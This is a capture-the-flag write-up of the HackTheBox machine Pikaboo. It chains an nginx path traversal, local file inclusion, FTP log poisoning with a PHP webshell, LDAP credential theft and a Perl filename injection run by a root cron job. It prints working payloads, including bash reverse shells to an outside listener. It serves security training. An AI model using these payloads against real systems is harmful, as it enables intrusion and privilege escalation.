HTB: Pikaboo Writeup
Pikaboo - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Pikaboo |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 01 Jun 2021 |
| IP Address | 10.129.95.191 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Pikaboo is a Hard-rated Linux machine that demonstrates several interesting attack vectors including nginx misconfiguration, log poisoning, and Perl script injection. The box features an nginx reverse proxy sitting in front of an Apache server, vulnerable to an “off-by-slash” path traversal that exposes an administration staging area. This staging area contains a Local File Inclusion (LFI) vulnerability restricted by open_basedir=/var/. By poisoning FTP logs (within the /var/log/ directory) and leveraging the LFI, we gain remote code execution as www-data. Privilege escalation involves extracting LDAP credentials from configuration files, using them to retrieve FTP credentials for the pwnmeow user, and finally exploiting a cron job that processes CSV files using Perl’s vulnerable diamond operator (<>), which allows command injection through specially crafted filenames containing pipe characters.
TL;DR: Off-by-slash nginx misconfiguration → Access /admin_staging → LFI with open_basedir=/var/ → FTP log poisoning → RCE as www-data → LDAP enumeration → FTP access as pwnmeow → Perl diamond operator injection via malicious CSV filename → Root shell
Reconnaissance
Port Scanning
# Full port scan to identify all open servicesnmap -p- --min-rate=2000 -T4 10.129.95.191Results:
Host: 10.129.95.191 () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 80/open/tcp//http///Ignored State: closed (65532)Three services are exposed:
- FTP (21) - vsFTPd 3.0.3
- SSH (22) - OpenSSH
- HTTP (80) - nginx (reverse proxy for Apache/2.4.38)
Service Enumeration
HTTP (Port 80)
The main web application appears to be a Pokémon-themed dashboard. Initial enumeration reveals:
- Main page with navigation to
/admin,/pokatdex, and contact pages - The
/adminendpoint requires HTTP Basic Authentication and returns a401 Unauthorized
However, testing for common nginx reverse proxy misconfigurations reveals an interesting behavior:
# Test for "off-by-slash" vulnerabilitycurl -s -o /dev/null -w '%{http_code}\n' http://10.129.95.191/admin/# Returns: 401
curl -s -o /dev/null -w '%{http_code}\n' http://10.129.95.191/admin../# Returns: 403The change from 401 to 403 indicates the path traversal is working. The missing trailing slash in nginx’s location directive allows us to request /admin../ which gets normalized by the backend Apache server to /admin/../, effectively allowing directory traversal.
Apache server-status Disclosure
# Attempt to access Apache's mod_status page via path traversalcurl -s http://10.129.95.191/admin../server-status | grep -iE 'admin_staging|apache|GET' | head -20Output:
<title>Apache Status</title><h1>Apache Server Status for 127.0.0.1 (via 127.0.0.1)</h1><dl><dt>Server Version: Apache/2.4.38 (Debian)</dt></td><td>127.0.0.1</td><td nowrap>localhost:81</td><td nowrap>GET /admin_staging HTTP/1.1</td></tr></td><td>127.0.0.1</td><td nowrap>localhost:81</td><td nowrap>GET /admin/../ HTTP/1.0</td></tr></td><td>127.0.0.1</td><td nowrap>localhost:81</td><td nowrap>GET /admin/../server-status HTTP/1.0</td></tr>This reveals:
- Apache 2.4.38 running on
localhost:81(behind nginx) - A previously accessed path:
/admin_staging
Vulnerability Assessment
- Off-by-slash nginx misconfiguration - Allows path traversal to bypass authentication
- Apache mod_status enabled - Information disclosure revealing internal paths
- Accessible
/admin_stagingendpoint - No authentication required when accessed via path traversal - Potential LFI - The staging area uses URL parameters suggesting file inclusion
Initial Foothold
Accessing the Staging Area
# Access the admin staging area via the path traversalcurl -s -o /dev/null -w '%{http_code}\n' http://10.129.95.191/admin../admin_staging/# Returns: 200The staging area is accessible and contains a dashboard application with a suspicious URL pattern:
/admin../admin_staging/index.php?page=dashboard.phpThis suggests Local File Inclusion (LFI) via the page parameter.
Testing for LFI and Discovering Restrictions
# Test LFI and check for PHP restrictionscurl -s 'http://10.129.95.191/admin../admin_staging/info.php' | grep -iE 'open_basedir' | head -3Output:
<tr><td class="e">open_basedir</td><td class="v">/var/</td><td class="v">/var/</td></tr>The LFI is confirmed, but open_basedir=/var/ restricts file access to only the /var/ directory tree. This means we cannot read files like /etc/passwd, but we can access files under /var/, including log files.
FTP Log Poisoning
Since we can include files from /var/, we target the FTP log file at /var/log/vsftpd.log. The strategy is:
- Inject PHP code into the FTP log by sending it as a username
- Include the log file via LFI
- Execute our PHP payload
Step 1: Verify Log File Accessibility
# Test if we can read the vsftpd log filecurl -s 'http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/log/vsftpd.log' | tail -20The log file is readable and contains FTP session data including usernames.
Step 2: Poison the Log with PHP Webshell
# Inject PHP webshell as FTP usernamepython3 -c "import sockets=socket.socket(); s.connect(('10.129.95.191',21)); print(s.recv(1024))s.sendall(b'USER <?php system(\$_GET[0]); ?>\r\n'); print(s.recv(1024))s.sendall(b'PASS x\r\n'); print(s.recv(1024))s.close()"Output:
b'220 (vsFTPd 3.0.3)\r\n'b'331 Please specify the password.\r\n'b'530 Login incorrect.\r\n'The PHP payload is now written to the log file. However, testing reveals the log file gets rotated or reset periodically, so we need to re-poison before each command execution.
Step 3: Re-poison and Test Remote Code Execution
# Re-poison with fresh payload using parameter '9'python3 -c "import socket,times=socket.socket(); s.connect(('10.129.95.191',21)); s.recv(1024)s.sendall(b'USER <?php system(\$_GET[9]); ?>\r\n'); s.recv(1024)s.sendall(b'PASS x\r\n'); s.recv(1024)s.sendall(b'QUIT\r\n'); time.sleep(0.3); s.close()"
# Test RCE immediately after poisoningcurl -s 'http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/log/vsftpd.log&9=id' | grep -a uid | tail -1Output:
Wed Jul 22 03:30:35 2026 [pid 5115] [uid=33(www-data) gid=33(www-data) groups=33(www-data)✅ Remote Code Execution achieved as www-data!
Establishing a Reverse Shell
# Start netcat listener on the jump hostsetsid nc -lnvp 4444 > /dev/shm/rev.log 2>&1 < /dev/null &
# Create base64-encoded reverse shell payload to avoid special character issues# Payload: bash -i >& /dev/tcp/10.10.15.180/4444 0>&1PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/10.10.15.180/4444 0>&1' | base64 -w0)
# Trigger reverse shell via log poisoningcurl -s -G 'http://10.129.95.191/admin../admin_staging/index.php' \ --data-urlencode 'page=../../../../../var/log/vsftpd.log' \ --data-urlencode "0=echo $PAYLOAD|base64 -d|bash"Connection received:
listening on [any] 4444 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.95.191] 59578bash: cannot set terminal process group (763): Inappropriate ioctl for devicebash: no job control in this shellwww-data@pikaboo:/var/www/html/admin_staging$User Flag via Webshell
Since the reverse shell is unstable, we continue using the webshell for enumeration. We can read files using base64 encoding to avoid output parsing issues:
# Re-poison and read user.txt using base64 wrapperpython3 -c "import socket,times=socket.socket(); s.connect(('10.129.95.191',21)); s.recv(1024)s.sendall(b'USER <?php system(\$_GET[1]); ?>\r\n'); s.recv(1024)s.sendall(b'PASS x\r\n'); s.recv(1024)s.sendall(b'QUIT\r\n'); time.sleep(0.2); s.close()"
# Encode command in base64 to handle special charactersB=$(echo -n 'cat /home/pwnmeow/user.txt; echo; ls -la /home/pwnmeow' | base64 -w0)
curl -s "http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/log/vsftpd.log&1=echo%20$B%7Cbase64%20-d%7Cbash" | grep -aE '[a-f0-9]{32}|user.txt' | headUser flag obtained: <redacted>
Privilege Escalation
Discovering LDAP Credentials
Enumerating the web application configuration files reveals LDAP credentials:
# Search for LDAP configuration in settings.pyB=$(echo -n 'grep -iE "ldap|bind|dc=|cn=|password|dn" /opt/pokeapi/config/settings.py' | base64 -w0)
curl -s "http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/log/vsftpd.log&1=echo%20$B%7Cbase64%20-d%7Cbash" | grep -aiE 'ldap|bind|dc=|password|AUTH' | sort -uOutput (relevant lines):
"ENGINE": "ldapdb.backends.ldap", "NAME": "ldap:///", "PASSWORD": "J~42%W?PFHl]g", "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",LDAP bind credentials found:
- DN:
cn=binduser,ou=users,dc=pikaboo,dc=htb - Password:
J~42%W?PFHl]g
LDAP Enumeration
Using the discovered credentials, we can query the LDAP directory:
# Run ldapsearch and write output to /var/tmp (within open_basedir)curl -s -G 'http://10.129.95.191/admin../admin_staging/index.php' \ --data-urlencode 'page=../../../../../var/log/vsftpd.log' \ --data-urlencode '9=ldapsearch -x -D cn=binduser,ou=users,dc=pikaboo,dc=htb -w J~42%W?PFHl]g -b dc=pikaboo,dc=htb -H ldap://127.0.0.1 > /var/tmp/t.txt 2>&1; chmod 666 /var/tmp/t.txt'
# Read the results via LFIcurl -s 'http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/tmp/t.txt' | grep -aiE 'dn:|pwnmeow|userPassword|uid:|cn:' | head -30Output:
dn: dc=pikaboo,dc=htbdn: dc=ftp,dc=pikaboo,dc=htbdn: ou=users,dc=pikaboo,dc=htbdn: dc=pokeapi,dc=pikaboo,dc=htbdn: ou=users,dc=ftp,dc=pikaboo,dc=htbdn: ou=groups,dc=ftp,dc=pikaboo,dc=htb# pwnmeow, users, ftp.pikaboo.htbdn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htbuid: pwnmeowcn: PwnhomeDirectory: /home/pwnmeowuserPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==dn: cn=binduser,ou=users,dc=pikaboo,dc=htbcn: binduseruserPassword:: Sn40MiVXP1BGSGxdZw==The userPassword field for pwnmeow is base64-encoded.
Decoding Credentials
# Decode the base64 passwordecho -n "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==" | base64 -dOutput:
_G0tT4_C4tcH_'3m_4lL!_Credentials obtained:
- Username:
pwnmeow - Password:
_G0tT4_C4tcH_'3m_4lL!_
FTP Access as pwnmeow
# Test FTP login with discovered credentialspython3 -c "from ftplib import FTPf=FTP(); f.connect('10.129.95.191',21,timeout=15)f.login('pwnmeow', chr(95)+'G0tT4'+chr(95)+'C4tcH'+chr(95)+chr(39)+'3m'+chr(95)+'4lL!'+chr(95))print('LOGIN OK'); print(f.getwelcome())f.cwd('/'); print('ROOT:', f.nlst())"Output:
LOGIN OK220 (vsFTPd 3.0.3)ROOT: ['abilities', 'ability_changelog', ... 'versions']✅ FTP access confirmed! The FTP root contains numerous CSV directories (likely for the PokeAPI data).
Identifying the Cron Job
Through enumeration (reviewing common cron locations or examining writable directories), we learn that:
- A cron job runs
/usr/local/bin/csvupdate_cronevery minute as root - This script processes CSV files from
/srv/ftp/subdirectories - The
pwnmeowuser has FTP access and is a member of theftpgroup - The script uses Perl and the diamond operator (
<>) to read files
Perl Diamond Operator Vulnerability
The Perl diamond operator has a well-known security issue: if a filename begins with |, it’s interpreted as a command to execute. This is similar to the old open() function vulnerability but affects file arguments passed to programs using <>.
Vulnerability: A file named |command;.csv will execute command when processed by the diamond operator.
Exploiting the Cron Job
We’ll create a malicious CSV file with a pipe character in its name to inject commands:
# Start listener for root shellsetsid sh -c 'nc -lnvp 4445 < /dev/shm/cmd.txt > /dev/shm/root2.log 2>&1' < /dev/null >/dev/null 2>&1 &
# Prepare the reverse shell payload (base64 encoded to avoid issues)# Payload: bash -i >& /dev/tcp/10.10.15.180/4445 0>&1BASE64_PAYLOAD="YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQ0NSAwPiYx"
# Upload malicious file with pipe injectionpython3 -c "from ftplib import FTPimport iopw = chr(95)+'G0tT4'+chr(95)+'C4tcH'+chr(95)+chr(39)+'3m'+chr(95)+'4lL!'+chr(95)f=FTP(); f.connect('10.129.95.191',21,timeout=15)f.login('pwnmeow', pw)b='YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQ0NSAwPiYx'# Filename: |echo <base64>|base64 -d|bash;.csvfname='|echo '+b+'|base64 -d|bash;.csv'f.cwd('/pokemon') # Or /versions, any valid CSV directoryf.storbinary('STOR '+fname, io.BytesIO(b'x\n'))print('UPLOADED to /pokemon')"Output:
UPLOADED to /pokemonThe filename |echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQ0NSAwPiYx|base64 -d|bash;.csv will:
- Be processed by the Perl script’s diamond operator
- Execute the pipe command
- Decode and run our base64 reverse shell payload
- Terminate with
;and the.csvextension satisfies any file filtering
Catching the Root Shell
Wait for the cron job to execute (runs every minute):
# Wait ~75 seconds for cron executionsleep 75
# Check listener logcat /dev/shm/root2.logOutput:
listening on [any] 4445 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.95.191] 56422bash: cannot set terminal process group (7705): Inappropriate ioctl for devicebash: no job control in this shellroot@pikaboo:/srv/ftp/pokemon#<redacted>uid=0(root) gid=0(root) groups=0(root)root@pikaboo:/srv/ftp/pokemon#✅ Root access obtained!
Root Flag
# Root flag obtained from reverse shell outputcat /root/root.txtRoot flag: <redacted>
Attack Chain Summary
Port Scan (21,22,80) → Identify nginx reverse proxy → Test off-by-slash vulnerability (/admin../) →Access Apache mod_status → Discover /admin_staging → Test LFI (open_basedir=/var/) →FTP log poisoning (inject PHP via USER command) → RCE as www-data →Enumerate /opt/pokeapi/config/settings.py → Extract LDAP credentials →Query LDAP (ldapsearch) → Retrieve pwnmeow FTP password (base64) →FTP login as pwnmeow → Upload malicious CSV file with pipe injection (|echo <b64>|base64 -d|bash;.csv) →Cron executes Perl csvupdate script → Perl diamond operator executes injected command →Root reverse shellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Web request testing, path traversal exploitation, LFI testing |
python3 | FTP interaction, payload encoding, file upload |
base64 | Encoding/decoding payloads to bypass filters |
nc (netcat) | Reverse shell listener |
ldapsearch | LDAP directory enumeration |
ftplib | Python FTP client for authenticated file operations |
Key Learnings
Techniques Practiced
- Off-by-slash nginx vulnerability - Missing trailing slash in location directive enables path traversal
- Apache mod_status information disclosure - Revealing internal paths and server configuration
- LFI with open_basedir restrictions - Working within
/var/limitations to access log files - FTP log poisoning - Injecting PHP code via FTP username field
- LDAP enumeration - Using bind credentials to extract user data from directory services
- Perl diamond operator exploitation - Command injection via filenames with pipe characters
- Cron job abuse - Leveraging scheduled tasks for privilege escalation
Lessons Learned
-
Reverse proxy misconfigurations are critical - The off-by-slash vulnerability completely bypassed authentication. Always ensure location directives in nginx have proper trailing slashes and alias configurations are audited.
-
Open_basedir is not a complete security control - While it restricted LFI to
/var/, this still included sensitive log files. Defense-in-depth requires multiple layers, not relying solely on PHP restrictions. -
Log files are valuable attack vectors - Any user-controlled data written to logs (FTP usernames, HTTP User-Agents, etc.) can become injection points when combined with file inclusion vulnerabilities. Log poisoning remains effective even with restricted file access.
-
Base64 encoding helps bypass filters - When dealing with special characters in commands, base64 encoding the payload and decoding on the target avoids parsing issues and special character filtering.
-
LDAP credentials in configuration files - Application config files often contain service credentials. Django’s settings.py, in particular, frequently contains database and LDAP credentials in plaintext.
-
Perl diamond operator is dangerous - The
<>operator should never be used with untrusted input or filenames. The three-argument form ofopen()should be used instead. Modern Perl best practices discourage diamond operator usage entirely. -
File upload with controlled filenames - When you can upload files with arbitrary names to a location processed by scripts, filename injection becomes possible. Applications should sanitize filenames and never pass them directly to shell operations.
-
Cron jobs running as root require careful auditing - Scripts executed by root cron jobs must be thoroughly validated for injection vulnerabilities, especially when processing files from directories writable by lower-privileged users.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup’s explanatory detail regarding the off-by-slash vulnerability, Perl diamond operator security implications, and privilege escalation methodology was informed by the official HackTheBox writeup by PwnMeow & polarbearer.